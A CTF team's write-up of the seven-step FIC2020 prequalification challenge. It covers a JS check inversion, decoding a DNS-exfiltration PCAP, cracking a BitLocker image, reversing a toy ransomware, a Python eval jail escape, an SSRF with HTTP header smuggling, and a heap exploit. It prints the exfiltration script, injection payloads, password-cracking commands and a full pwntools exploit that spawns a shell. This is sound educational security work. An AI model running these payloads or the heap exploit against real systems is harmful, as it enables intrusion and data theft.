FIC2020 prequals CTF write-up
We managed to finish second, so here is our writeup!
Step 1
The first step was available at https://ctf.hexpresso.fr/2cd2362f7d4c063279c047618d4a2d38 and consists of a text input (named flag
) and a submit button. Behind the scenes, the following code is executed when the button is clicked:
const play = () => {
var game = new Array(
116,
228,
203,
270,
334,
382,
354,
417,
485,
548,
586,
673,
658,
761,
801,
797,
788,
850,
879,
894,
959,
1059,
1071,
1140,
1207,
1226,
1258,
1305,
1376,
1385,
1431,
1515
);
const u_u = "CTF.By.HexpressoCTF.By.Hexpresso";
const flag = document.getElementById("flag").value;
for (i = 0; i < u_u.length; i++) {
if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]) {
alert("NOPE");
return;
}
}
// Good j0b
alert("WELL DONE!");
document.location.replace(
document.location.protocol +
"//" +
document.location.hostname +
"/" +
flag
);
};
/**
** Thanks all <3
** @HexpressoCTF
**
** The next step is here : https://ctf.hexpresso.fr/{p_p}
**/
The check is easy to inverse (flag[i] = game[i] - u_u.charCodeAt(i) - (i * 42)
) so we crafted this quick script in browser's devtools:
out = ''
for(i = 0; i < game.length; i++) {
out += String.fromCharCode(game[i] - u_u.charCodeAt(i) - (i * 42))
}
It outputs 1f1bd383026a5db8145258efb869c48f, so the next step is at https://ctf.hexpresso.fr/1f1bd383026a5db8145258efb869c48f.
Step 2 — Old EXFIL but Gold
We were presented with a message about data exfiltration and a PCAP file (https://ctf.hexpresso.fr/cb52ae4d15503c598f0bb42b8af1ce51.pcap).
This capture contains two HTTP requests to http://172.16.42.222:8000
, retrieving index.html
and dnstunnel.py
:
#! /usr/bin/python3
# I have no idea of what I'm doing
#Because why not!
import random
import os
f = open('data.txt','rb')
data = f.read()
f.close()
print("[+] Sending %d bytes of data" % len(data))
#This is propa codaz
print("[+] Cut in pieces ... ")
def encrypt(l):
#High quality cryptographer!
key = random.randint(13,254)
output = hex(key)[2:].zfill(2)
for i in range(len(l)):
aes = ord(l[i]) ^ key
#my computer teacher hates me
output += hex(aes)[2:].zfill(2)
return output
def udp_secure_tunneling(my_secure_data):
#Gee, I'm so bad at coding
#if 0:
mycmd = "host -t A %s.local.tux 172.16.42.222" % my_secure_data
os.system(mycmd)
#We loose packet sometimes?
os.system("sleep 1")
#end if
def send_data(s):
#because I love globals
global n
n = n+1
length = random.randint(4,11)
# If we send more bytes we can recover if we loose some packets?
redundancy = random.randint(2,16)
chunk = data[s:s+length+redundancy].decode("utf-8")
chunk = "%04d%s"%(s,chunk)
print("%04d packet --> %s.local.tux" % (n,chunk))
blob = encrypt(chunk)
udp_secure_tunneling(blob)
return s + length
cursor = 0
n=0
while cursor<len(data):
cursor = send_data(cursor)
#Is it ok?
As we can see in udp_secure_tunneling()
, this script allows exfiltrating data over DNS by querying subdomains of .local.tux
.
To solve the challenge during the competition, we bruteforced the key of each packet as we knew decoded packet's format (position prefix and printable characters after).
Then, when getting back on this challenge to redact this writeup, we sadly figured out that encrypt()
's "obfuscation" fooled us: the first byte of the encrypted packet is in fact the key! After extracting every DNS query of the PCAP with tshark
and the filter dns.flags == 0x100
, we wrote the following Python script (nothing fancy, we just handle the redundancy using the prefix of each decoded packet):
import re
hostnames = [
'a191919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8',
'a696969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0',
'88b8b8bab8fda8ece1eca8e1fca8fbe7a8eee9faa98282c0edfaeda8e1fba8',
'1929292a2976397f786b381313517c6b7c39706a396d',
'cafafaf9f3afb8afeaa3b9eabea2afeaa6a3a4a1ea',
'edddddd9d4cd81848386cd8483cd8f8c9e',
'6b5b5b5e520a180e58594b0d0419',
'4f7f7f797b6f29203d227545010d7d07067b0b1b070617',
'ae9e9e999fe0ec9ce6e79aeafae6e7f6fd98f79dfbe3f7f6e9ff',
'9cacacababd8c8d4d5c4cfaac5afc9d1c5c4dbcdc6d0c5',
'6c5c5c545d343f5a355f392135342b3d362035',
'6f5f5f575a5c3a223637283e352336',
'e4d4d4ddd6bea8bdaba6bea3',
'd7e7e7eee08d909ce3e48399e38f909ae3',
'73434243403d472b343e47212334264027203c37373e3641373c',
'daeaebebe88fe98e89959e9e979fe89e95809e989794898e9183',
'4272737070060d1806000f0c1116091b18140f177105',
'36060704017b7865627d6f6c607b6305717f7b6c60717f02623c7b797c',
'9cacadafabafdbd5d1c6cadbd5a8c896d1d3d6cdd1',
'54646560650e02131d60005e191b1e051919601019190e0013606605016969',
'25151410176868116168687f716211177470181818',
'f7c7c6c2cea3b0c3c5a6a2cacacafdfdd7a8d7d7d7d7',
'7b4b4a4d482a2e46464671715b245b5b5b5b5b5b',
'95a5a4a3ad9f9fb5cab5b5b5b5b5b5b5b5b5b5b5b5b5',
'd8e8e9efe1f8f8f8f8f8f8f8f8',
'd6e6e7eee5f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6f6',
'0f3f3e37362f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f',
'eededfd7d8cecececececececececece',
'56666466637676767676767676767676765c2a',
'7d4d4f4c4e5d5d5d5d77015d0122225d5d5d22',
'94a4a6a6a0b4b4cbcbcbcbcbb4b4cbcbcbb4cb',
'7c4c4e4e442323235c5c2323235c23235c',
'b585878680ea95eaea9595ea95eaea',
'facac8cec9a5a5daa5a5a5dadaa5a5a5daa5a5a5dadaa5',
'10202225234f304f4f4f30304f4f4f',
'daeae8eceb8585fafad0a6',
'75454743407f0955522a5529555a552a55295529',
'6656545155494639463a463a494649464139463a1a464139',
'4e7e7c767d6e69116e12326e691111616e',
'5f6f6d6767237f780000707f007f03707f0000707f0000',
'eddddfd4d5c2cdb2b2c2cdb2b291c2',
'e7d7d4d7d4c7b8b89bc8c7b8c7bbc7ed9bc79bc79bc79bc7c7b8b8c8',
'88b8bbb9b8a8d4a882f4a8f4a8f4a8f4a8a8d7d7a7b6a8a8b4f4a8f4',
'83b3b0b1b3ffa3a3dcdcacbda3a3bfffa3ff',
'48787b7a70687434683417616834683468346868',
'cdfdfefefe92e4edb1edb1edb1eded9292e2919292ed9192',
'eededddadcceb1b1c1b2b1b1ceb2b1b1ceb2cec6b1c7ce92e492b192ce',
'b38380868093ef939bec9a93cfb9cfeccf93cfeccfef',
'c2f2f1f4f0be9dbee2be9dbe9e9d9d9ded9ded9e9d9ee2ec9d',
'28181b1f197777077707747774080677770754775408087477777754547777',
'80b0b3b8b2dfaffcdffca0a0dcdfdfdffcfcdfdfdfaf',
'3b0b0803026764646447476464641464',
'93a3a0aaa4ccbcccccccbccfccccccbcb399b3b3b3b3b3b3',
'41717571701e6e1d1e1e1e6e614b6161616161616161616161',
'28181c18112208080808080808',
'ddede9eceefdfdfdfdfdfdfdfdfdfdfdfdfda1',
'd3e3e7e1e7f3f3af8caff3f3f3f3f3f3f3f3f3f3',
'97a7a3a4a6b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7',
'f2c2c6c1c7d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2',
'340400000714141414141414141414141414143e3e3e',
'9fafababa8bfbfbfbfbfbfbfbfbfbf959595',
'6555515056454545456f6f6f',
'84b4b0b1bd8e',
]
decoded = ''
for hostname in map(bytes.fromhex, hostnames):
xor_key = ord(hostname[:1])
res = ''.join([chr(c ^ xor_key) for c in hostname])[1:]
pos, data = int(res[:4]), res[4:]
decoded = decoded[:pos] + data + decoded[pos + len(data):]
print(decoded)
user@debian:~$ python3 dns.py
Congratulations!! You did it so far!
Here is the link in base32 form:
NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4T
MOJQMM4DMMZTG42QU===
_
| |__ _____ ___ __ _ __ ___ ___ ___ ___
| '_ \ / _ \ \/ / '_ \| '__/ _ \/ __/ __|/ _ \
| | | | __/> <| |_) | | | __/\__ \__ \ (_) |
|_| |_|\___/_/\_\ .__/|_| \___||___/___/\___/
|_|
Decoding the Base32 string lead us to https://ctf.hexpresso.fr/5798ca47dace5c5e6d3529690c863375.
Step 3 — Do your Forensic ANALyst job
We are presented with a disk image file (https://ctf.hexpresso.fr/76b0c868ab7397cc6a0c0a1e107e3079.raw). Commands file
and mmls
gave us a first idea of what was inside:
user@debian:~$ file 76b0c868ab7397cc6a0c0a1e107e3079.raw
76b0c868ab7397cc6a0c0a1e107e3079.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x47e6da9e; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0xc5,3,19), startsector 128, 198656 sectors
user@debian:~$ mmls 76b0c868ab7397cc6a0c0a1e107e3079.raw
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000000127 0000000128 Unallocated
002: 000:000 0000000128 0000198783 0000198656 NTFS / exFAT (0x07)
003: ------- 0000198784 0000204799 0000006016 Unallocated
Trying to mount the NTFS partition gives an interesting error message:
root@debian:~# mkdir /mnt/foo ; mount 76b0c868ab7397cc6a0c0a1e107e3079.raw /mnt/foo -o offset=$((128*512))
mount: /mnt/foo: unknown filesystem type 'BitLocker'.
Mounting such filesystems is possible on Linux thanks to bdemount
(shipped with libbde-utils
) but we will still need to know what's the partition's password. The BitCracker project (https://github.com/e-ago/bitcracker) contains code to parse the header of Bitlocker partitions and extract a hash that can be used with john (jumbo patch is required).
user@debian:~$ wget https://raw.githubusercontent.com/e-ago/bitcracker/master/src_HashExtractor/bitcracker_hash.c
user@debian:~$ clang bitcracker_hash.c -o extrator
user@debian:~$ ./extrator -i ./76b0c868ab7397cc6a0c0a1e107e3079.raw
---------> BitCracker Hash Extractor <---------
Encrypted device ./76b0c868ab7397cc6a0c0a1e107e3079.raw opened, size 100.00 MB
************ Signature #1 found at 0x10003 ************
Version: 8
Invalid version, looking for a signature with valid version...
************ Signature #2 found at 0x2110000 ************
Version: 2 (Windows 7 or later)
=====> VMK entry found at 0x21100cd
Encrypted with User Password (0x21100ee)
VMK encrypted with AES-CCM
======== UP VMK ========
UP Salt: 6946a04b89585fea10b4817c9a3917c9
UP Nonce: c0297b4057a9d50103000000
UP MAC: 724b0b483ed7b6c3cef283d34830adb0
UP VMK: 06f1ae732a39b2eccf84959b53a1735fb9cb2f67e88282ccf5b1a04cc0a74d84778097b2db1cb689a70bfd79
=====> VMK entry found at 0x21101ad
Encrypted with Recovery Password (0x21101ce)
Searching for AES-CCM (0x21101ea)...
Offset 0x211027d.... found! :)
======== RP VMK #0 ========
RP Salt: b95e642d93ec40c16a7a77b87bc3cadf
RP Nonce: c0297b4057a9d50106000000
RP MAC: 60f1218fafabac6be20ecf31565d4e15
RP VMK: f3e0ef3b5650e6d30535f7bd08eed2c6dc0992252927140339b470b794a6f2338b07369d1ec9e969d677b262
************ Signature #3 found at 0x3666000 ************
Version: 2 (Windows 7 or later)
=====> VMK entry found at 0x36660cd
Can't define a key protection method for values (0,20)... skipping!
=====> VMK entry found at 0x36661ad
Encrypted with Recovery Password (0x36661ce)
Searching for AES-CCM (0x36661ea)...
Offset 0x366627d.... found! :)
This VMK has been already stored...quitting to avoid infinite loop!
User Password hash:
$bitlocker$0$16$6946a04b89585fea10b4817c9a3917c9$1048576$12$c0297b4057a9d50103000000$60$724b0b483ed7b6c3cef283d34830adb006f1ae732a39b2eccf84959b53a1735fb9cb2f67e88282ccf5b1a04cc0a74d84778097b2db1cb689a70bfd79
Recovery Key hash #0:
$bitlocker$2$16$b95e642d93ec40c16a7a77b87bc3cadf$1048576$12$c0297b4057a9d50106000000$60$60f1218fafabac6be20ecf31565d4e15f3e0ef3b5650e6d30535f7bd08eed2c6dc0992252927140339b470b794a6f2338b07369d1ec9e969d677b262
Output file for user password attack: "hash_user_pass.txt"
Output file for recovery password attack: "hash_recv_pass.txt"
Cracking volume's user password is instant:
user@debian:~$ john hash_user_pass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Warning: OpenMP is disabled; a non-OpenMP build may be faster
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst, rules:Wordlist
password (?)
1g 0:00:00:01 0.05% 2/3 (ETA: 17:38:39) 0.8196g/s 2.459p/s 2.459c/s 2.459C/s password1
The volume can then be mounted but the only file available does not contain the flag:
root@debian:~# bdemount -o $((128*512)) -p password 76b0c868ab7397cc6a0c0a1e107e3079.raw /mnt/foo/
bdemount 20190102
root@debian:/mnt/foo# file bde1
bde1: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 16, hidden sectors 128, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 198655, $MFT start cluster 8277, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 08618333c18332a97; containsMicrosoft Windows XP/VISTA bootloader BOOTMGR
root@debian:/mnt/foo# mkdir /mnt/ntfs ; mount -o ro bde1 /mnt/ntfs
root@debian:/mnt/ntfs# ls -alh
total 13K
drwxrwxrwx 1 root root 4.0K Dec 2 23:36 .
drwxr-xr-x 4 root root 4.0K Dec 16 17:13 ..
-rwxrwxrwx 1 root root 98 Dec 2 22:38 flag.txt
drwxrwxrwx 1 root root 4.0K Dec 2 22:27 'System Volume Information'
root@debian:/mnt/ntfs# cat flag.txt
Every Forensic investigation starts with a good bitlocker inspection.
-- @chaignc
While we simply used binwalk
to find the flag during the CTF, a more elegant solution is to use sleuthkit
to look for deleted files:
root@debian:~# fls -d /mnt/foo/bde1
-/r * 64-128-2: ls
-/r * 65-128-2: fic.zip
-/r * 66-128-2: f1.zip
-/r * 67-128-2: f2.zip
-/r * 68-128-2: f3.zip
-/r * 69-128-2: f4.zip
Various archives have been deleted, let's retrieve them!
root@debian:~# for i in `seq 64 69`; do /usr/bin/icat bde1 $i > $i.bin; done
root@debian:~# file *.bin
64.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=182e3c4f92cd556e8799d66e929dce3306a16530, for GNU/Linux 3.2.0, stripped
65.bin: Zip archive data, at least v2.0 to extract
66.bin: Zip archive data, at least v2.0 to extract
67.bin: Zip archive data, at least v2.0 to extract
68.bin: Zip archive data, at least v2.0 to extract
69.bin: Zip archive data, at least v2.0 to extract
root@debian:~# sha256sum *.bin
1f7f27ef1052e33731c9ff56a36ac3af4437e3f95ad55f6813c320b087b5d356 64.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f 65.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f 66.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f 67.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f 68.bin
c79a416ccc1a41bc993c91de1c332f3c188ed3c716eca4bdf0de88a79526715f 69.bin
All archives have the same hash! Let's have a look inside:
root@debian:~# 7z l 65.bin
[...]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2019-12-02 23:02:55 ..... 68 66 fic.txt
------------------- ----- ------------ ------------ ------------------------
2019-12-02 23:02:55 68 66 1 files
root@debian:~# 7z x 65.bin
[...]
root@debian:~# cat fic.txt
https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411
The file fic.txt
contains https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411, giving us a Base64 (aHR0cHM6Ly9jdGYuaGV4cHJlc3NvLmZyLzFlYTk2N2Y1MmQxYWFiMzI3ZDA4NGVmZDI0ZDA0OTU3Cg==
), leading us to https://ctf.hexpresso.fr/1ea967f52d1aab327d084efd24d04957.
Step 4 — Wannacry is f*cking back
The ZIP file at https://ctf.hexpresso.fr/5c09555ef0576e6cee46a9ee7a841c8b.zip contains an ELF (wanafic
) and a file named flag.txt.crypted
:
user@debian:~$ file wannafic
wannafic: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=97354f92f87502594330507adef22eca2765dd76, for GNU/Linux 3.2.0, stripped
The binary is quite small, only three functions are interesting. main
only prints a message and iterates over argv
, calling process_file
at each iteration:
__int64 main(signed int argc, char **argv, char **envp)
{
signed int i;
if ( argc <= 1 )
print_and_exit("Usage: ./wannafic <file> ...\n");
puts(s);
for ( i = 1; i < argc; ++i )
process_file(argv[i]);
return 0LL;
}
The function process_file()
calls encrypt_file()
with input file's fd, input file's name and time(0)
as arguments:
int process_file(const char *filename)
{
time_t seed;
FILE *stream;
printf("[*] Encrypting %s\n", filename);
stream = fopen(filename, "r");
if ( !stream )
print_and_exit("[!] Unable to open file.\n");
seed = time(0LL);
encrypt_file(stream, filename, seed);
return fclose(stream);
}
Finally, encrypt_file()
will use input file's name and rand()
output to encrypt file's contents (notice the nice for statement crafted by Hex-Rays!):
unsigned __int64 encrypt_file(FILE *input_fd, const char *input_filename, __int64 arg_seed)
{
char rand_out;
char current_char;
int i;
FILE *stream;
char s[264];
unsigned __int64 stack_cookie;
stack_cookie = __readfsqword(0x28u);
// [...]
srand(arg_seed);
printf("[*] ts : %d\n", arg_seed);
snprintf(s, 0x100uLL, "%s.crypt", input_filename);
printf("[*] Writing to %s\n", s);
stream = fopen(s, "w");
if ( !stream )
print_and_exit("[!] Unable to open file.\n");
for ( i = strlen(input_filename); ; fputc((char)(rand_out ^ current_char ^ input_filename[rand_out % i]), stream) )
{
current_char = fgetc(input_fd);
if ( current_char == EOF )
break;
rand_out = rand();
}
fclose(stream);
printf("[*] Done !\n\n", s);
return __readfsqword(0x28u) ^ stack_cookie;
}
It is well-known that, if the srand()
seed is known, rand()
outputs are predictable. We know when flag.txt.crypt
was created:
user@debian:~$ stat flag.txt.crypt |grep Modify
Modify: 2019-12-12 13:37:42.000000000 +0100
As the algorithm is symetric and to avoid reimplementing the algorithm and making mistakes, we can just use the binary on the encrypted file after renaming it flag.txt
and setting system's time to 2019-12-12 13:37:42
. We also had to nop the condition if ( current_char == EOF )
as it would stop the decryption too early.
A quick GDB session allowed to handle all these issues at once:
(gdb) b srand
(gdb) r flag.txt
Starting program: /home/user/wannafic flag.txt
▄█ █▄ ▄████████ ███▄▄▄▄ ███▄▄▄▄ ▄████████
███ ███ ███ ███ ███▀▀▀██▄ ███▀▀▀██▄ ███ ███
███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ ███ ▀███████████ ███ ███ ███ ███ ▀███████████
███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ ▄█▄ ███ ███ ███ ███ ███ ███ ███ ███ ███
▀███▀███▀ ███ █▀ ▀█ █▀ ▀█ █▀ ███ █▀
FIC2020
▄████████ ▄█ ▄████████
███ ███ ███ ███ ███
███ █▀ ███▌ ███ █▀
▄███▄▄▄ ███▌ ███
▀▀███▀▀▀ ███▌ ███
███ ███ ███ █▄
███ ███ ███ ███
███ █▀ ████████▀
[*] Encrypting flag.txt
Breakpoint 3, __srandom (x=1576536066) at random.c:210
210 random.c: No such file or directory.
(gdb) set x=1576154262
(gdb) x/10i 0x5555555554a9-6
0x5555555554a3: mov BYTE PTR [rbp-0x11e],al
0x5555555554a9: cmp BYTE PTR [rbp-0x11e],0xff
0x5555555554b0: jne 0x555555555444
0x5555555554b2: mov rax,QWORD PTR [rbp-0x118]
0x5555555554b9: mov rdi,rax
0x5555555554bc: call 0x555555555040 <fclose@plt>
0x5555555554c1: lea rax,[rbp-0x110]
0x5555555554c8: mov rsi,rax
0x5555555554cb: lea rdi,[rip+0xb7b] # 0x55555555604d
0x5555555554d2: mov eax,0x0
(gdb) set *(int*)0x5555555554a9 = 0x90909090
(gdb) set *(short int*)0x5555555554ad = 0x9090
(gdb) x/10i 0x5555555554a9-6
0x5555555554a3: mov BYTE PTR [rbp-0x11e],al
0x5555555554a9: nop
0x5555555554aa: nop
0x5555555554ab: nop
0x5555555554ac: nop
0x5555555554ad: nop
0x5555555554ae: nop
0x5555555554af: nop
0x5555555554b0: jne 0x555555555444
0x5555555554b2: mov rax,QWORD PTR [rbp-0x118]
(gdb) c
Then, quickly stop the execution and read the file (ASCII art removed for clarity):
(gdb) !head -n15 flag.txt.crypt
[...]
Well done buddy !!!!
Next step : https://ctf.hexpresso.fr/6bd1d24ab3aa08784f868a533bcdc215
Step 5 — PYJAIL 4 FUN
A ZIP file (https://ctf.hexpresso.fr/for_the_players.zip) contains SSL certificates and the socat
command to run to reach the service listening at ctf.hexpresso.fr:2323
. Writing something on the prompt will always show the message Bad flag!
but if the input contains a single quote, an exception is raised:
>'
Traceback (most recent call last):
File "./main.py", line 28, in <module>
main()
File "./main.py", line 21, in main
if flag == get_input():
File "./main.py", line 15, in get_input
return eval(f"""'{input(">")}'""")
File "<string>", line 1
'''
^
SyntaxError: EOF while scanning triple-quoted string literal
As our input is executed, it is easy to retrieve the script:
>',__import__('os').system('cat *.py'),'
#!/usr/bin/env python
import os
SUCCESS = "Good flag !"
FAIL = "Bad flag !"
def get_flag():
flag = os.environ.get("FLAG", "FLAG{LOCAL_FLAG}")
os.environ.update({"FLAG": ""})
return flag
def get_input():
return eval(f"""'{input(">")}'""")
def main():
flag = get_flag()
if flag == get_input():
print(SUCCESS)
else:
print(FAIL)
if __name__ == "__main__":
main()
Bad flag !
Reading the flag from the environment isn't possible, as get_flag()
removed it. The first idea was to poll the enviroment of every Python process through procfs
before get_flag()
is called but it would require to spawn many processes to win the race.
As flag
is still defined in main()
's scope, reading locals of upper frames using inspect
was a better solution:
>',print(__import__('inspect').getouterframes(__import__('inspect').currentframe())[2].frame.f_locals),'
{'flag': 'Next step : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr'}
Step 6 — Welcome to the host fetcher !
The application allows requesting arbitrary hosts and displays the result in a frame. Its source also contains an interesting comment:
<div class="col s12">
<!-- <span>PS: To get your flag go here: <a href="/secret">/secret</a></span> -->
</div>
Obviously, directly accessing this page returns the following message:
{"ok":false,"message":"You have to come from 127.0.0.1 not 172.20.0.1 :)","flag":""}
This has to be a SSRF challenge! Requesting 127.0.0.1
is disallowed but not 127.0.0.2
. The application also appends the port to the host we provide, so we used 127.0.0.2/secret?
and got the following response:
{"ok":false,"message":"Missing GOSESSION ... You are not connected... get away !","flag":""}
It will be necessary to smuggle a Cookie
header. After performing a request to a server under our control, we can see that the user-agent is Go-http-client/1.1
. A quick Google search led us to https://github.com/golang/go/issues/30794, which describes the exact issue we were looking for: if query parameters are present, spaces and new-lines will not be encoded before sending the request. Thus, querying 127.0.0.2/secret?xx=xx%20HTTP/1.1%0ACookie:GOSESSION=
gave us the flag:
{"ok":true,"message":"Ok here is your flag ...","flag":"Gg ! Send mail here 9ca37832b9fb80-penultimate-stage@hexpresso.fr ! But there is one last step here for the brave available on : https://ctf.hexpresso.fr/219058289d8699adc0b119374c2fc5bc"}
Step 7 — PWN me I'm famous
The final step greets us with a zip file 8e23eca76cbfdb90988a5b92577c147c.zip
which requires a password to be unzipped. This first step is pretty straightforward using the good old john the ripper and rockyou
:
$ /usr/share/john/run/zip2john 8e23eca76cbfdb90988a5b92577c147c.zip > hash.txt
$ john --wordlist=rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
powell82435 (8e23eca76cbfdb90988a5b92577c147c.zip)
The real fun starts now, the zip contains a binary heapme
, a libc, a doc.txt
containing a socat
command to connect to the remote server using the provided client.pem
and server.crt
. As usual when doing pwnable, we start by checking the protections:
$ checksec --file heapme
[*] '/home/user/Documents/heapme'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ file heapme
heapme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=610c072eb32a1a993d127206eddb08f6786d5281, not stripped
Good news, the binary is not stripped. But, using our favorite decompiler, we discover that the binary was compiled from C++. Hopefully, the reverse part is trivial, mostly because of the symbols. The binary is like most heap challenges and there is nothing specific to C++. Different operations can be performed:
- Creating a disk at a user controlled index of a user controlled size.
- Reading data from a disk.
- Writing data to a disk.
- Deleting a disk.
Two vulnerabilities are easily spotted:
- Writing to a disk does not check the size of the disk and we can freely overflow the whole heap if necessary.
- Deleting a disk does not nullify its pointer inside the
DiskManager
. This list of pointers is stored in the stack of the program. Therefore, we can perform UAF and double free attacks.
Creating a disk will create two objects in the heap, first a Disk of size 0x10 containing a pointer to a virtual table and a pointer to its data, then the data pointer is allocated.
typedef struct Disk {
void *vtable;
char *data;
} Disk;
typedef struct vtable
{
void (*read)(Disk this);
void (*write)(Disk this);
} vtable;
The vtable
has only 2 functions, the read
and the write
used by the respective operations offered by the program.
As we have a full overflow of the heap, we can overwrite the vtable
pointer to any location we want. However, since the binary is PIE
, we are blind. So, we start by leaking the libc: this can be achieved by allocating two non-fastbin chunks, freeing them, allocating again and a pointer to the libc main arena would then be present in the data part of the disk.
From there, we could find a reference to a useful function like system
to use as a vtable, but no such reference could be found. Therefore, we decided to do a malloc
exploit to write a fake vtable at a known location. We performed a modified version of malloc_dup_into_stack to get an allocation inside the BSS of libc. First part was to find a fastchunk size in the BSS that could be used for the exploit. The size 0x40 was present at multiple locations. Funny thing is, malloc
does not check the memory alignment if a free fast chunk is not properly aligned. So the plan was to:
- Allocate two fastchunks of size
0x30
(they are considered as0x40
chunks after adding themalloc
meta-data). - Free those allocated chunks so we have two chunks in the fastbin freelist (which is a single-list).
- Overflow the heap to corrupt the pointer to the second element of that list.
- Finally perform two allocations, the second one would return a pointer inside our known location.
From there, we can write a vtable containing the following magic gadget found using one_gadget:
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
When using the gadget with the read
pointer of the vtable, [rsp+0x70]
points toward the index 1 of the DiskFactory
pointer table. To fulfil this condition, we just avoid using this index.
After solving the challenge and discussing with its creator, using a malloc
exploit was not the most straightforward solution. Indeed, by doing some heap feng-shui, it was possible to leak a pointer to the heap by getting an allocation on a previously freed fastchunk that would have contained a pointer to the heap itself.
Here is the full exploitation script:
#!/usr/bin/env python2
from pwn import *
###
if len(sys.argv) > 1:
DEBUG = False
libc = ELF('libc-2.23.so')
else:
DEBUG = True
libc = ELF('libc-2.23.so')
b = ELF('heapme')
context.log_level = 'info'
context.arch = 'amd64'
###
if DEBUG:
r = process('./heapme', aslr=True, env={'LD_PRELOAD':'libc-2.23.so'})
else:
r = process('socat stdio openssl-connect:ctf.hexpresso.fr:4242,cert=client.pem,cafile=server.crt,verify=0'.split())
GDB = False
if DEBUG and GDB:
bps = []
base = 0x0000555555554000
params = ''
for bp in bps:
params += 'b *{}\n'.format(hex(bp + base))
gdb.attach(r, params)
def menu():
global r
return r.recvuntil('4: Exit\n')
def create_disk(size, index):
global r
r.sendline('0')
r.sendlineafter('[+] Create Disk\n', str(size))
r.sendline(str(index))
return menu()
def write_disk(index, data):
global r
r.sendline('2')
r.sendlineafter('write Disk\n', str(index))
r.sendline(data)
return menu()
def read_disk(index):
global r
r.sendline('1')
r.sendlineafter('read Disk\n', str(index))
r.recvuntil('Data: ')
data = menu()
return data.split('\n')[0]
def delete_disk(index):
global r
r.sendline('3')
r.sendlineafter('delete Disk\n', str(index))
return menu()
menu()
create_disk(256, 0)
create_disk(256, 15)
delete_disk(0)
create_disk(256, 0)
data = read_disk(0)
leak = u64(data.ljust(8, '\x00'))
libc_base = leak - 0x3c4b78
log.info('leak: %#x' % leak)
log.info('libcbase: %#x' % libc_base)
# modified fastbin_dup_into_stack
# Goal is to get an alloc into libc BSS
create_disk(48, 2)
create_disk(48, 3)
delete_disk(2)
delete_disk(3)
# this offset points to a p64(0x40) value inside libc.bss where we are going
# to allocate a fastbin of size 0x30
offset = 0x98f
# We perform a modified version of fastbin_dup_into_stack
# we have two 0x30 chunks in the free_list, we overflow the one pointing to the first one
# and replace the pointer to point to leak - offset - 0x8 which is will be considered
# valid by malloc. We then do 2 allocations, the second one will point inside libc.bss
# We can therefore craft a vtable there and overflow the heap as we please using our vtable
p = 'A' * 256 + p64(0) + p64(0x21) + p64(0) * 2 + p64(0) + p64(0x41) + 'B' * 48
p += p64(0) + p64(0x21) + p64(0) * 2 + p64(0) + p64(0x41) + p64(leak - offset - 0x8)
write_disk(15, p)
create_disk(48, 10)
log.info('libc.bss: %#x' % (leak - offset - 0x8))
create_disk(48, 11) # points into libc.bss
# This is the magic gadget we use
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
# [rsp+0x70] contains the index [1] of the DiskFactory, therefore, we dont use this index
# to satisfy the condition
write_disk(11, p64(libc_base + 0xf1147)) # magic gadget
# Overflowing the heap into disk index [15] with a vtable->read pointing to magic gadget
vtable = leak - offset - 0x8 + 0x10
p = 'A' * 256 + p64(0x110) + p64(0x21) + p64(vtable)
write_disk(0, p)
# Triggering the exploit
r.sendline('1')
r.sendline('15')
r.recvuntil('read Disk\n')
r.recvline()
